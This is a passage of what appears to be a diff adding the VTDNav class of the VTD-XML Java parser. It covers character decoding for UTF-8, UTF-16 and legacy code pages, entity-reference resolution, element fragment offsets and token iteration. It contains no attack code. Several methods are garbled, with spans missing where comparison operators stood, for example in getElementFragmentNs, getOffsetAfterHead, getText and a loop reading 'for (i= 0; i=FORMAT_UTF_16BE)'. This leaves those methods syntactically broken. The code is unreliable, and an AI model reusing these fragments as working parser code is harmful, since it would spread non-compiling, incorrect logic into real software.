URL.equals("http://www.w3.org/XML/1998/namespace")){ + // prefix matches "xml" + return index+1; + } + index += 2; + if (index>=vtdSize) + break; + type = getTokenType(index); + } + return -1; + } + private long handle_utf8(long temp, int offset) throws NavException { + int c, d, a; + + long val; + switch (UTF8Char.byteCount((int)temp & 0xff)) { + case 2: + c = 0x1f; + d = 6; + a = 1; + break; + case 3: + c = 0x0f; + d = 12; + a = 2; + break; + case 4: + c = 0x07; + d = 18; + a = 3; + break; + case 5: + c = 0x03; + d = 24; + a = 4; + break; + case 6: + c = 0x01; + d = 30; + a = 5; + break; + default: + throw new NavException("UTF 8 encoding error: should never happen"); + } + + val = (temp & c) << d; + int i = a - 1; + while (i >= 0) { + temp = XMLDoc.byteAt(offset + a - i); + if ((temp & 0xc0) != 0x80) + throw new NavException( + "UTF 8 encoding error: should never happen"); + val = val | ((temp & 0x3f) << ((i << 2) + (i << 1))); + i--; + } + //currentOffset += a + 1; + return val | (((long)(a+1))<<32); + } + + + private long handle_utf16le(int offset) throws NavException { + // implement UTF-16LE to UCS4 conversion + int val, temp = + (XMLDoc.byteAt((offset << 1) + 1 ) & 0xff) + << 8 | (XMLDoc.byteAt(offset << 1) & 0xff); + if (temp < 0xdc00 || temp > 0xdfff) { // check for low surrogate + if (temp == '\r') { + if (XMLDoc.byteAt((offset << 1) + 2) == '\n' + && XMLDoc.byteAt((offset << 1) + 3) == 0) { + return '\n' | (2L<<32) ; + } else { + return '\n' | (1L<<32); + } + } + return temp | (1L<<32); + } else { + if (temp<0xd800 || temp>0xdbff) + throw new NavException("UTF 16 LE encoding error: should never happen"); + val = temp; + temp = + (XMLDoc.byteAt((offset << 1) + 3)&0xff) + << 8 | (XMLDoc.byteAt((offset << 1) + 2) & 0xff); + if (temp < 0xdc00 || temp > 0xdfff) { + // has to be high surrogate + throw new NavException("UTF 16 LE encoding error: should never happen"); + } + val = ((temp - 0xd800)<<10) + (val - 0xdc00) + 0x10000; + + return val | (2L<<32); + } + //System.out.println("UTF 16 LE unimplemented for now"); + } + + private long handle_utf16be(int offset) throws NavException{ + long val; + + int temp = + ((XMLDoc.byteAt(offset << 1) & 0xff) << 8) + |(XMLDoc.byteAt((offset << 1) + 1)& 0xff); + if ((temp < 0xd800) + || (temp > 0xdfff)) { // not a high surrogate + if (temp == '\r') { + if (XMLDoc.byteAt((offset << 1) + 3) == '\n' + && XMLDoc.byteAt((offset << 1) + 2) == 0) { + + return '\n'|(2L<<32); + } else { + return '\n'|(1L<<32); + } + } + //currentOffset++; + return temp| (1L<<32); + } else { + if (temp<0xd800 || temp>0xdbff) + throw new NavException("UTF 16 BE encoding error: should never happen"); + val = temp; + temp = + ((XMLDoc.byteAt((offset << 1) + 2) & 0xff) + << 8) | (XMLDoc.byteAt((offset << 1 )+ 3) & 0xff); + if (temp < 0xdc00 || temp > 0xdfff) { + // has to be a low surrogate here + throw new NavException("UTF 16 BE encoding error: should never happen"); + } + val = ((temp - 0xd800) << 10) + (val - 0xdc00) + 0x10000; + //currentOffset += 2; + return val | (2L<<32); + } + } + + private long getChar4OtherEncoding(int offset) throws NavException{ + if (encoding <= FORMAT_WIN_1258){ + int temp = decode(offset); + if (temp == '\r') { + if (XMLDoc.byteAt(offset + 1) == '\n') { + return '\n'|(2L<<32); + } else { + return '\n'|(1L<<32); + } + } + return temp|(1L<<32); + } + throw new NavException("Unknown Encoding"); + } + /** + * This method decodes the underlying byte array into corresponding UCS2 + * char representation . It doesn't resolves built-in entity and character + * references. Length will never be zero Creation date: (11/21/03 6:26:17 + * PM) + * + * @return int + * @exception com.ximpleware.NavException + * The exception is thrown if the underlying byte content + * contains various errors. Notice that we are being + * conservative in making little assumption on the + * correctness of underlying byte content. This is because + * the VTD can be generated by another machine, e.g. from a + * load-balancer. + */ + private long getChar(int offset) throws NavException { + long temp = 0; + //int a, c, d; + //int val; + //int ch; + //int inc; + //a = c = d = val = 0; + + switch (encoding) { + case FORMAT_ASCII : // ascii is compatible with UTF-8, the offset + // value is bytes + temp = XMLDoc.byteAt(offset); + if (temp == '\r') { + if (XMLDoc.byteAt(offset + 1) == '\n') { + return '\n'|(2L<<32); + } else { + return '\n'|(1L<<32); + } + } + + return temp|(1L<<32); + + case FORMAT_ISO_8859_1 : + temp = XMLDoc.byteAt(offset); + if (temp == '\r') { + if (XMLDoc.byteAt(offset + 1) == '\n') { + return '\n'|(2L<<32); + } else { + return '\n'|(1L<<32); + } + } + + return (temp & 0xff)|(1L<<32); + + case FORMAT_UTF8 : + temp = XMLDoc.byteAt(offset); + if (temp>=0){ + if (temp == '\r') { + if (XMLDoc.byteAt(offset + 1) == '\n') { + return '\n'|(2L<<32); + } else { + return '\n'|(1L<<32); + } + } + //currentOffset++; + return temp|(1L<<32); + } + return handle_utf8(temp,offset); + + case FORMAT_UTF_16BE : + return handle_utf16be(offset); + + case FORMAT_UTF_16LE : + return handle_utf16le(offset); + + default : + return getChar4OtherEncoding(offset); + //throw new NavException("Unknown Encoding"); + } + } + /* + * the exact same copy of getChar except it operates on currentOffset2 this + * is needed to compare VTD tokens directly + */ + + + /** + * This method decodes the underlying byte array into corresponding UCS2 + * char representation . Also it resolves built-in entity and character + * references. + * + * @return int + * @exception com.ximpleware.NavException + * The exception is thrown if the underlying byte content + * contains various errors. Notice that we are being + * conservative in making little assumption on the + * correctness of underlying byte content. This is because + * the VTD can be generated by another machine from a + * load-balancer. + */ + private long getCharResolved(int offset) throws NavException { + int ch = 0; + int val = 0; + long inc =2; + long l = getChar(offset); + + ch = (int)l; + + if (ch != '&') + return l; + + // let us handle references here + //currentOffset++; + offset++; + ch = getCharUnit(offset); + offset++; + switch (ch) { + case '#' : + + ch = getCharUnit(offset); + + if (ch == 'x') { + while (true) { + offset++; + inc++; + ch = getCharUnit(offset); + + if (ch >= '0' && ch <= '9') { + val = (val << 4) + (ch - '0'); + } else if (ch >= 'a' && ch <= 'f') { + val = (val << 4) + (ch - 'a' + 10); + } else if (ch >= 'A' && ch <= 'F') { + val = (val << 4) + (ch - 'A' + 10); + } else if (ch == ';') { + inc++; + break; + } else + throw new NavException("Illegal char in a char reference"); + } + } else { + while (true) { + + ch = getCharUnit(offset); + offset++; + inc++; + if (ch >= '0' && ch <= '9') { + val = val * 10 + (ch - '0'); + } else if (ch == ';') { + break; + } else + throw new NavException("Illegal char in char reference"); + + } + } + break; + + case 'a' : + ch = getCharUnit(offset); + if (ch == 'm') { + if (getCharUnit(offset + 1) == 'p' + && getCharUnit(offset + 2) == ';') { + inc = 5; + val = '&'; + } else + throw new NavException("illegal builtin reference"); + } else if (ch == 'p') { + if (getCharUnit(offset + 1) == 'o' + && getCharUnit(offset + 2) == 's' + && getCharUnit(offset + 3) == ';') { + inc = 6; + val = '\''; + } else + throw new NavException("illegal builtin reference"); + } else + throw new NavException("illegal builtin reference"); + break; + + case 'q' : + + if (getCharUnit(offset) == 'u' + && getCharUnit(offset + 1) == 'o' + && getCharUnit(offset + 2) == 't' + && getCharUnit(offset + 3) ==';') { + inc = 6; + val = '\"'; + } else + throw new NavException("illegal builtin reference"); + break; + case 'l' : + if (getCharUnit(offset) == 't' + && getCharUnit(offset + 1) == ';') { + //offset += 2; + inc = 4; + val = '<'; + } else + throw new NavException("illegal builtin reference"); + break; + case 'g' : + if (getCharUnit(offset) == 't' + && getCharUnit(offset + 1) == ';') { + inc = 4; + val = '>'; + } else + throw new NavException("illegal builtin reference"); + break; + + default : + throw new NavException("Invalid entity char"); + + } + + //currentOffset++; + return val | (inc << 32); + } + + + + private int decode(int offset){ + byte ch = XMLDoc.byteAt(offset); + switch(encoding){ + case FORMAT_ISO_8859_2: + return ISO8859_2.decode(ch); + case FORMAT_ISO_8859_3: + return ISO8859_3.decode(ch); + case FORMAT_ISO_8859_4: + return ISO8859_4.decode(ch); + case FORMAT_ISO_8859_5: + return ISO8859_5.decode(ch); + case FORMAT_ISO_8859_6: + return ISO8859_6.decode(ch); + case FORMAT_ISO_8859_7: + return ISO8859_7.decode(ch); + case FORMAT_ISO_8859_8: + return ISO8859_8.decode(ch); + case FORMAT_ISO_8859_9: + return ISO8859_9.decode(ch); + case FORMAT_ISO_8859_10: + return ISO8859_10.decode(ch); + case FORMAT_ISO_8859_11: + return ISO8859_11.decode(ch); + case FORMAT_ISO_8859_13: + return ISO8859_13.decode(ch); + case FORMAT_ISO_8859_14: + return ISO8859_14.decode(ch); + case FORMAT_ISO_8859_15: + return ISO8859_15.decode(ch); + case FORMAT_WIN_1250: + return WIN1250.decode(ch); + case FORMAT_WIN_1251: + return WIN1251.decode(ch); + case FORMAT_WIN_1252: + return WIN1252.decode(ch); + case FORMAT_WIN_1253: + return WIN1253.decode(ch); + case FORMAT_WIN_1254: + return WIN1254.decode(ch); + case FORMAT_WIN_1255: + return WIN1255.decode(ch); + case FORMAT_WIN_1256: + return WIN1256.decode(ch); + case FORMAT_WIN_1257: + return WIN1257.decode(ch); + default: + return WIN1258.decode(ch); + } + } + + /** + * Dump the in memory XML text into output stream + * + * @param os + * @throws java.io.IOException + * + */ + public void dumpXML(OutputStream os) throws java.io.IOException{ + os.write(this.XMLDoc.getBytes(),this.docOffset,this.docLen); + } + + /** + * Dump the in-memory copy of XML text into a file + * + * @param fileName + * @throws java.io.IOException + * + */ + public void dumpXML(String fileName) throws java.io.IOException{ + FileOutputStream fos = new FileOutputStream(fileName); + try{ + dumpXML(fos); + } + finally{ + fos.close(); + } + } + /** + * Get the next char unit which gets decoded automatically + * + * @return int + */ + private int getCharUnit(int offset) { + return (encoding <= 2) + ? XMLDoc.byteAt(offset) & 0xff + : (encoding <= FORMAT_WIN_1258) + ? decode(offset):(encoding == FORMAT_UTF_16BE) + ? (((int)XMLDoc.byteAt(offset << 1)) + << 8 | XMLDoc.byteAt((offset << 1) + 1)) + : (((int)XMLDoc.byteAt((offset << 1) + 1)) + << 8 | XMLDoc.byteAt(offset << 1)); + } + /** + * Get the depth (>=0) of the current element. Creation date: (11/16/03 + * 6:58:22 PM) + * + * @return int + */ + final public int getCurrentDepth() { + return context[0]; + } + /** + * Get the index value of the current element. Creation date: (11/16/03 + * 6:40:25 PM) + * + * @return int + */ + final public int getCurrentIndex() { + if (atTerminal) + return LN; + return getCurrentIndex2(); + //return (context[0] == 0) ? rootIndex : context[context[0]]; + } + + // this one is used in iterAttr() in autoPilot + final protected int getCurrentIndex2(){ + switch(context[0]){ + case -1: return 0; + case 0: return rootIndex; + default: return context[context[0]]; + } + } + /** + * getElementFragmentNS returns a ns aware version of the element fragment + * encapsulated in an ElementFragment object + * + * @return an ElementFragment object + * @throws NavException + * + */ + public ElementFragmentNs getElementFragmentNs() throws NavException{ + if (this.ns == false) + throw new NavException("getElementFragmentNS can only be called when parsing is ns enabled"); + + FastIntBuffer fib = new FastIntBuffer(3); // init size 8 + + //fill the fib with integer + // first get the list of name space nodes + int[] ia = context; + int d =ia[0]; // -1 for document node, 0 for root element; + int c = getCurrentIndex2(); + + + int len = (c == 0 || c == rootIndex )? 0: + (getTokenLength(c) & 0xffff); // get the length of qualified node + + // put the neighboring ATTR_NS nodes into the array + // and record the total # of them + int i = 0; + int count=0; + if (d > 0){ // depth > 0 every node except document and root element + int k=getCurrentIndex2()+1; + if (k" + toString(k)); + } + k+=2; + //type = this.getTokenType(k); + } + } + count = fib.size; + d--; + while (d >= 0) { + // then search for ns node in the vinicity of the ancestor nodes + if (d > 0) { + // starting point + k = ia[d]+1; + } else { + // starting point + k = this.rootIndex+1; + } + if (k + // "+fib.size); + //if (fib.size==4); + if (matchTokens(fib.intAt(z), this, k)) { + unique = false; + break; + } + } + if (unique) + fib.append(k); + } + } + k += 2; + // type = this.getTokenType(k); + } + } + d--; + } + // System.out.println("count ===> "+count); + // then restore the name space node by shifting the array + int newSz= fib.size-count; + for (i= 0; i=FORMAT_UTF_16BE) + so = so<<1; + BookMark bm = new BookMark(this); + bm.recordCursorPosition(); + while(i>1 && toElement(VTDNav.NEXT_SIBLING)){ + i--; + } + long l= getElementFragment(); + int len = (int)l+(int)(l>>32)-so; + if (i==1 && toElement(VTDNav.NEXT_SIBLING)){ + }else + bm.setCursorPosition(); + return (((long)len)<<32)|so; + } + + /** + * Get the starting offset and length of an element encoded in a long, upper + * 32 bits is length; lower 32 bits is offset Unit is in byte. Creation + * date: (3/15/04 1:47:55 PM) + */ + public long getElementFragment() throws NavException { + // a little scanning is needed + // has next sibling case + // if not + + int depth = getCurrentDepth(); +// document length and offset returned if depth == -1 + if (depth == -1){ + int i=vtdBuffer.lower32At(0); + if (i==0) + return ((long)docLen)<<32| docOffset; + else + return ((long)(docLen-32))| 32; + } + int so = getTokenOffset(getCurrentIndex2()) - 1; + int length = 0; + + + // for an element with next sibling + if (toElement(NEXT_SIBLING)) { + + int temp = getCurrentIndex(); + int temp2 = temp; + //boolean b = false; + // rewind + while (getTokenDepth(temp) == depth && + (getTokenType(temp)==VTDNav.TOKEN_COMMENT || + getTokenType(temp)==VTDNav.TOKEN_PI_VAL || + getTokenType(temp)==VTDNav.TOKEN_PI_NAME)) { + + temp--; + } + /*if(temp!=temp2) + temp++;*/ + //temp++; + int so2 = getTokenOffset(temp) - 1; + // look for the first '>' + while (getCharUnit(so2) != '>') { + so2--; + } + length = so2 - so + 1; + toElement(PREV_SIBLING); + if (encoding <= FORMAT_WIN_1258) + return ((long) length) << 32 | so; + else + return ((long) length) << 33 | (so << 1); + } + + // for root element + if (depth == 0) { + int temp = vtdBuffer.size - 1; + boolean b = false; + int so2 = 0; + while (getTokenDepth(temp) == -1) { + temp--; // backward scan + b = true; + } + if (b == false) + so2 = + (encoding <= FORMAT_WIN_1258 ) + ? (docOffset + docLen - 1) + : ((docOffset + docLen) >> 1) - 1; + else + so2 = getTokenOffset(temp + 1); + while (getCharUnit(so2) != '>') { + so2--; + } + length = so2 - so + 1; + if (encoding <= FORMAT_WIN_1258) + return ((long) length) << 32 | so; + else + return ((long) length) << 33 | (so << 1); + } + // for a non-root element with no next sibling + int temp = getCurrentIndex() + 1; + int size = vtdBuffer.size; + // temp is not the last entry in VTD buffer + if (temp < size) { + while (temp < size && getTokenDepth(temp) >= depth) { + temp++; + } + if (temp != size) { + int d = + depth + - getTokenDepth(temp) + + ((getTokenType(temp) == TOKEN_STARTING_TAG) ? 1 : 0); + int so2 = getTokenOffset(temp) - 1; + int i = 0; + // scan backward + while (i < d) { + if (getCharUnit(so2) == '>') + i++; + so2--; + } + length = so2 - so + 2; + if (encoding <= FORMAT_WIN_1258) + return ((long) length) << 32 | so; + else + return ((long) length) << 33 | (so << 1); + } + /* + * int so2 = getTokenOffset(temp - 1) - 1; int d = depth - + * getTokenDepth(temp - 1); int i = 0; while (i < d) { if + * (getCharUnit(so2) == '>') { i++; } so2--; } length = so2 - so + + * 2; if (encoding < 3) return ((long) length) < < 32 | so; else + * return ((long) length) < < 33 | (so < < 1); + */ + } + // temp is the last entry + // scan forward search for /> or + + int so2 = + (encoding <= FORMAT_WIN_1258) + ? (docOffset + docLen - 1) + : ((docOffset + docLen) >> 1) - 1; + int d; + + d = depth + 1; + + int i = 0; + while (i < d) { + if (getCharUnit(so2) == '>') { + i++; + } + so2--; + } + + + length = so2 - so + 2; + + if (encoding <= FORMAT_WIN_1258) + return ((long) length) << 32 | so; + else + return ((long) length) << 33 | (so << 1); + } + /** + * Get the encoding of the XML document. + * + * @return int + */ + final public int getEncoding() { + return encoding; + } + /** + * Get the maximum nesting depth of the XML document (>0). max depth is + * nestingLevel -1 + * + * @return int + */ + final public int getNestingLevel() { + return nestingLevel; + } + + /** + * Return the charater (not byte) offset after head (the ending bracket of the starting tag, + * not including an empty element, in which case 0xffffffff 00000000 | len is returned) + * @return + * + */ + final public long getOffsetAfterHead(){ + + int i = getCurrentIndex(); + if (getTokenType(i)!=VTDNav.TOKEN_STARTING_TAG){ + return -1; + } + int j=i+1; + while (j>32); + // byte to char conversion + if (this.encoding >= VTDNav.FORMAT_UTF_16BE){ + offset <<= 1; + len <<=1; + } + offset += len; + if (getCharUnit(offset-2)=='/') + return 0xffffffff00000000L | offset-1; + else{ + offset -= 2; + while(getCharUnit(offset)!='/'){ + offset--; + } + return offset -1; + } + //return 1; + } + /** + * Get root index value , which is the index val of root element + * + * @return int + */ + final public int getRootIndex() { + return rootIndex; + } + /** + * This method returns of the token index of the type character data or + * CDATA. Notice that it is intended to support data orient XML (not + * mixed-content XML). return the index of the text token, or -1 if none + * exists. + * + * @return int + */ + public int getText() { + if (context[0]==-1) return -1; + int index = (context[0] != 0) ? context[context[0]] + 1 : rootIndex + 1; + int depth = getCurrentDepth(); + int type; + if (index= vtdSize) + break; + type = getTokenType(index); + } + return -1; + } + /** + * Get total number of VTD tokens for the current XML document. + * + * @return int + */ + final public int getTokenCount() { + return vtdSize; + } + /** + * Get the depth value of a token (>=0). + * + * @return int + * @param index + * int + */ + final public int getTokenDepth(int index) { + int i = (int) ((vtdBuffer.longAt(index) & MASK_TOKEN_DEPTH) >> 52); + if (i != 255) + return i; + return -1; + } + + final protected int getTokenLength2(int index){ + return (int) + ((vtdBuffer.longAt(index) & MASK_TOKEN_FULL_LEN) >> 32); + } + /** + * Get the token length at the given index value please refer to VTD spec + * for more details Length is in terms of the UTF char unit For prefixed + * tokens, it is the qualified name length. When ns is not enabled, return + * the full name length for attribute name and element name When ns is + * enabled, return an int with upper 16 bit for prefix length, lower 16 bit + * for qname length + * + * @return int + * @param index + * int + */ + public int getTokenLength(int index) { + int type = getTokenType(index); + int depth; + int len = 0; + long l; + int temp=0; + switch (type) { + case TOKEN_ATTR_NAME : + case TOKEN_ATTR_NS : + case TOKEN_STARTING_TAG : + l = vtdBuffer.longAt(index); + return (ns == false) + ? (int) ((l & MASK_TOKEN_QN_LEN) >> 32) + : ((int) ((l & MASK_TOKEN_QN_LEN) + >> 32) + | ((int) ((l & MASK_TOKEN_PRE_LEN) + >> 32) + << 5)); + case TOKEN_CHARACTER_DATA: + case TOKEN_CDATA_VAL: + case TOKEN_COMMENT: // make sure this is total length + depth = getTokenDepth(index); + do{ + len = len + (int) + ((vtdBuffer.longAt(index)& MASK_TOKEN_FULL_LEN) >> 32); + temp = getTokenOffset(index)+(int) + ((vtdBuffer.longAt(index)& MASK_TOKEN_FULL_LEN) >> 32); + index++; + } + while(index < vtdSize && depth == getTokenDepth(index) + && type == getTokenType(index) && temp == getTokenOffset(index)); + //if (int k=0) + return len; + default : + return (int) + ((vtdBuffer.longAt(index) & MASK_TOKEN_FULL_LEN) >> 32); + } + + } + /** + * Get the starting offset (unit in native char) of the token at the given + * index. + * + * @return int + * @param index + * int + */ + final public int getTokenOffset(int index) { + //return (context[0] != 0) + // ? (int) (vtdBuffer.longAt(context[context[0]]) & MASK_TOKEN_OFFSET) + // : (int) (vtdBuffer.longAt(rootIndex) & MASK_TOKEN_OFFSET); + return (int) (vtdBuffer.longAt(index) & MASK_TOKEN_OFFSET); + } + + /** + * Get the XML document + * + * @return IByteBuffer + */ + final public IByteBuffer getXML() { + return XMLDoc; + } + /** + * Get the token type of the token at the given index value. Creation date: + * (11/16/03 6:41:51 PM) + * + * @return int + * @param index + * int + */ + final public int getTokenType(int index) { + return (int) ((vtdBuffer.longAt(index) & MASK_TOKEN_TYPE) >> 60) & 0xf; + } + /** + * Test whether current element has an attribute with the matching name. "*" + * will match any attribute name, therefore is a test whether there is any + * attribute at all if namespace is disabled, this function will not + * distinguish between ns declaration and attribute otherwise, ns tokens are + * invisible Creation date: (11/16/03 5:50:26 PM) + * + * @return boolean (true if such an attribute exists) + * @param an + * java.lang.String + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because the VTD etc can be generated + * by another machine from a load-balancer. + * @exception IllegalArguementException + * if an is null + */ + final public boolean hasAttr(String an) throws NavException { + return getAttrVal(an)!=-1; + } + /** + * Test whether the current element has an attribute with matching namespace + * URL and localname. If ns is false, return false immediately + * + * @return boolean + * @param URL + * java.lang.String (namespace URL) + * @param ln + * java.lang.String (localname ) + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because the VTD can be generated by + * another machine such as a load-balancer. + * @exception IllegalArguementException + * if ln is null + */ + final public boolean hasAttrNS(String URL, String ln) throws NavException { + return (getAttrValNS(URL, ln) != -1); + } + /** + * Test the token type, to see if it is a starting tag. + * + * @return boolean + * @param index + * int + */ + protected final boolean isElement(int index) { + return (((vtdBuffer.longAt(index) & MASK_TOKEN_TYPE) >> 60) & 0xf) + == TOKEN_STARTING_TAG; + } + + /** + * Test the token type, to see if it is a starting tag or document token + * (introduced in 1.0). + * + * @return boolean + * @param index + * int + */ + protected final boolean isElementOrDocument(int index){ + long i =(((vtdBuffer.longAt(index) & MASK_TOKEN_TYPE) >> 60) & 0xf); + return (i==TOKEN_STARTING_TAG||i==TOKEN_DOCUMENT); + } + /** + * Test whether ch is a white space character or not. + * + * @return boolean + * @param ch + * int + */ + final private boolean isWS(int ch) { + return (ch == ' ' || ch == '\n' || ch == '\t' || ch == '\r'); + } + + /** + * This function is called by selectElement_P in autoPilot + * + * @param en + * element Name + * @param a + * context of current position + * @param special + * whether the test type is node() + * @return boolean + * @throws NavException + */ + protected boolean iterate_preceding(String en, int[] a, int endIndex) + throws NavException { + int index = getCurrentIndex() +1; + int tokenType; + //int depth = getTokenDepth(index); + //int size = vtdBuffer.size; + while (index< endIndex) { + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_ATTR_NAME: + case TOKEN_ATTR_NS: + index = index + 2; + continue; + case TOKEN_STARTING_TAG: + //case TOKEN_DOCUMENT: + int depth = getTokenDepth(index); + if (index!=a[depth]){ + if (en.equals("*")||matchRawTokenString(index,en)){ + context[0] = depth; + if (depth > 0) + context[depth] = index; + if (depth < maxLCDepthPlusOne) + resolveLC(); + atTerminal = false; + return true; + }else{ + context[depth] = index; + index++; + continue; + } + }else{ + context[depth] = index; + index++; + continue; + } + case TOKEN_CHARACTER_DATA: + case TOKEN_CDATA_VAL: + case TOKEN_COMMENT: + index++; + continue; + case TOKEN_PI_NAME: + index+=2; + continue; + } + index++; + } + return false; + } + + /** + * This function is called by selectElementNS_P in autoPilot + * + * @param URL + * @param ln + * @return boolean + * @throws NavException + */ + protected boolean iterate_precedingNS(String URL, String ln, int[] a,int endIndex ) + throws NavException { + int index = getCurrentIndex() - 1; + int tokenType; + //int depth = getTokenDepth(index); + //int size = vtdBuffer.size; + while (index< endIndex) { + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_ATTR_NAME: + case TOKEN_ATTR_NS: + index = index + 2; + continue; + case TOKEN_STARTING_TAG: + //case TOKEN_DOCUMENT: + int depth = getTokenDepth(index); + if (index!=a[depth]){ + context[0] = depth; + if (depth > 0) + context[depth] = index; + if (matchElementNS(ln,URL)){ + if (depth < maxLCDepthPlusOne) + resolveLC(); + atTerminal = false; + return true; + }else{ + context[depth] = index; + index++; + continue; + } + }else{ + context[depth] = index; + index++; + continue; + } + case TOKEN_CHARACTER_DATA: + case TOKEN_CDATA_VAL: + case TOKEN_COMMENT: + index++; + continue; + case TOKEN_PI_NAME: + index+=2; + continue; + } + index++; + } + return false; + } + /** + * This function is called by selectElement_F in autoPilot + * + * @param en + * ElementName + * @param special + * whether it is a node() + * @return boolean + * @throws NavException + */ + + protected boolean iterate_following(String en, boolean special) + throws NavException{ + int index = getCurrentIndex() + 1; + int tokenType; + //int size = vtdBuffer.size; + while (index < vtdSize) { + tokenType = getTokenType(index); + if (tokenType == VTDNav.TOKEN_ATTR_NAME + || tokenType == VTDNav.TOKEN_ATTR_NS + || tokenType == VTDNav.TOKEN_PI_NAME) { + index = index + 2; + continue; + } + // if (isElementOrDocument(index)) { + if (tokenType == VTDNav.TOKEN_STARTING_TAG + || tokenType == VTDNav.TOKEN_DOCUMENT) { + int depth = getTokenDepth(index); + context[0] = depth; + if (depth > 0) + context[depth] = index; + if (special || matchElement(en)) { + if (depth < maxLCDepthPlusOne) + resolveLC(); + return true; + } + } + index++; + } + return false; + } + + + /** + * This function is called by selectElementNS_F in autoPilot + * + * @param URL + * @param ln + * @return boolean + * @throws NavException + */ + protected boolean iterate_followingNS(String URL, String ln) + throws NavException{ + int index = getCurrentIndex() + 1; + int tokenType; + //int size = vtdBuffer.size; + while (index < vtdSize) { + tokenType = getTokenType(index); + if (tokenType == VTDNav.TOKEN_ATTR_NAME + || tokenType == VTDNav.TOKEN_ATTR_NS + || tokenType == VTDNav.TOKEN_PI_NAME) { + index = index + 2; + continue; + } + // if (isElementOrDocument(index)) { + if (tokenType == VTDNav.TOKEN_STARTING_TAG + || tokenType == VTDNav.TOKEN_DOCUMENT) { + int depth = getTokenDepth(index); + context[0] = depth; + if (depth > 0) + context[depth] = index; + if (matchElementNS(URL, ln)) { + if (depth < maxLCDepthPlusOne) + resolveLC(); + return true; + } + } + index++; + } + return false; + } + /** + * This method is similar to getElementByName in DOM except it doesn't + * return the nodeset, instead it iterates over those nodes. Notice that + * this method is called by the "iterate" method in the Autopilot class. "*" + * will match any element Creation date: (12/2/03 2:31:20 PM) + * + * @return boolean + * @param dp + * int (The depth of the starting position before iterating) + * @param en + * java.lang.String + * @exception com.ximpleware.NavException + * The exception is signaled if the underlying byte content + * contains various errors. Notice that we are being + * conservative in making little assumption on the + * correctness of underlying byte content. This is because + * VTD records can be generated by another machine from a + * load-balancer. null element name allowed represent + * node()in XPath; + */ + protected boolean iterate(int dp, String en, boolean special) + throws NavException { // the navigation doesn't rely on LC + // get the current depth + int index = getCurrentIndex() + 1; + int tokenType; + //int size = vtdBuffer.size; + while (index < vtdSize) { + tokenType = getTokenType(index); + if (tokenType==VTDNav.TOKEN_ATTR_NAME + || tokenType == VTDNav.TOKEN_ATTR_NS || tokenType ==VTDNav.TOKEN_PI_NAME){ + index = index+2; + continue; + } + //if (isElementOrDocument(index)) { + if (tokenType == VTDNav.TOKEN_STARTING_TAG || tokenType == VTDNav.TOKEN_DOCUMENT){ + int depth = getTokenDepth(index); + if (depth > dp) { + context[0] = depth; + if (depth>0) + context[depth] = index; + if (special || matchElement(en)) { + if (dp< maxLCDepthPlusOne) + resolveLC(); + return true; + } + } else { + return false; + } + } + index++; + + } + return false; + } + + //preceding::node() + protected boolean iterate_preceding_node(int[] a, int endIndex) + throws NavException { + int index = getCurrentIndex()+1; + int tokenType; + //int t,d; + //int depth = getTokenDepth(index); + //int size = vtdBuffer.size; + while (index < endIndex) { + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_ATTR_NAME: + case TOKEN_ATTR_NS: + index = index + 2; + continue; + case TOKEN_STARTING_TAG: + //case TOKEN_DOCUMENT: + int depth = getTokenDepth(index); + if (depth>0 && (index!=a[depth])){ + context[0] = depth; + if (depth > 0) + context[depth] = index; + if (depth < maxLCDepthPlusOne) + resolveLC(); + atTerminal = false; + return true; + }else{ + if (depth > 0) + context[depth] = index; + if (depth < maxLCDepthPlusOne) + resolveLC(); + index++; + atTerminal = false; + continue; + } + + case TOKEN_CHARACTER_DATA: + case TOKEN_CDATA_VAL: + case TOKEN_COMMENT: + case TOKEN_PI_NAME: + depth = getTokenDepth(index); + + context[0]=depth; + LN = index; + atTerminal = true; + sync(depth,index); + return true; + } + index++; + } + return false; + } + + protected boolean iterate_following_node() + throws NavException { + int index = getCurrentIndex() + 1; + int tokenType; + //int size = vtdBuffer.size; + while (index < vtdSize) { + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_ATTR_NAME: + case TOKEN_ATTR_NS: + index = index + 2; + continue; + case TOKEN_STARTING_TAG: + case TOKEN_DOCUMENT: + int depth = getTokenDepth(index); + context[0] = depth; + if (depth > 0) + context[depth] = index; + if (depth < maxLCDepthPlusOne) + resolveLC(); + atTerminal = false; + return true; + + case TOKEN_CHARACTER_DATA: + case TOKEN_CDATA_VAL: + case TOKEN_COMMENT: + case TOKEN_PI_NAME: + depth = getTokenDepth(index); + + context[0]=depth; + LN = index; + atTerminal = true; + sync(depth,index); + return true; + } + index++; + } + return false; + } + /** + * + */ + protected boolean iterateNode(int dp) + throws NavException { // the navigation doesn't rely on LC + // get the current depth + + int index = getCurrentIndex() + 1; + int tokenType,depth; + // int size = vtdBuffer.size; + while (index < vtdSize) { + tokenType = getTokenType(index); + switch(tokenType){ + case TOKEN_ATTR_NAME: + case TOKEN_ATTR_NS: + index = index + 2; + continue; + case TOKEN_STARTING_TAG: + case TOKEN_DOCUMENT: + depth = getTokenDepth(index); + atTerminal = false; + if (depth > dp) { + context[0] = depth; + if (depth > 0) + context[depth] = index; + if (dp < maxLCDepthPlusOne) + resolveLC(); + return true; + } else { + return false; + } + case TOKEN_CHARACTER_DATA: + case TOKEN_COMMENT: + case TOKEN_PI_NAME: + case TOKEN_CDATA_VAL: + depth = getTokenDepth(index); + + if (depth >= dp){ + sync(depth,index); + LN= index; + context[0]= depth; + atTerminal = true; + return true; + } + return false; + default: + index ++; + } + } + return false; + } + + + /** + * This method is similar to getElementByName in DOM except it doesn't + * return the nodeset, instead it iterates over those nodes . When URL is + * "*" it will match any namespace if ns is false, return false immediately + * + * @return boolean + * @param dp + * int (The depth of the starting position before iterating) + * @param URL + * java.lang.String + * @param ln + * java.lang.String + * @exception com.ximpleware.NavException + * The exception if the underlying byte content contains + * various errors. Notice that we are being conservative in + * making little assumption on the correctness of underlying + * byte content. This is because VTD records can be generated + * by another machine from a load-balancer.. + * @exception IllegalArguementException + * if ln is null example + * + * int depth = nv.getCurrentDepth() while(iterateNS(depth, + * "www.url.com","node_name")){ push(); // store the current position //move + * position safely pop(); // load the position } + */ + protected boolean iterateNS(int dp, String URL, String ln) + throws NavException { + if 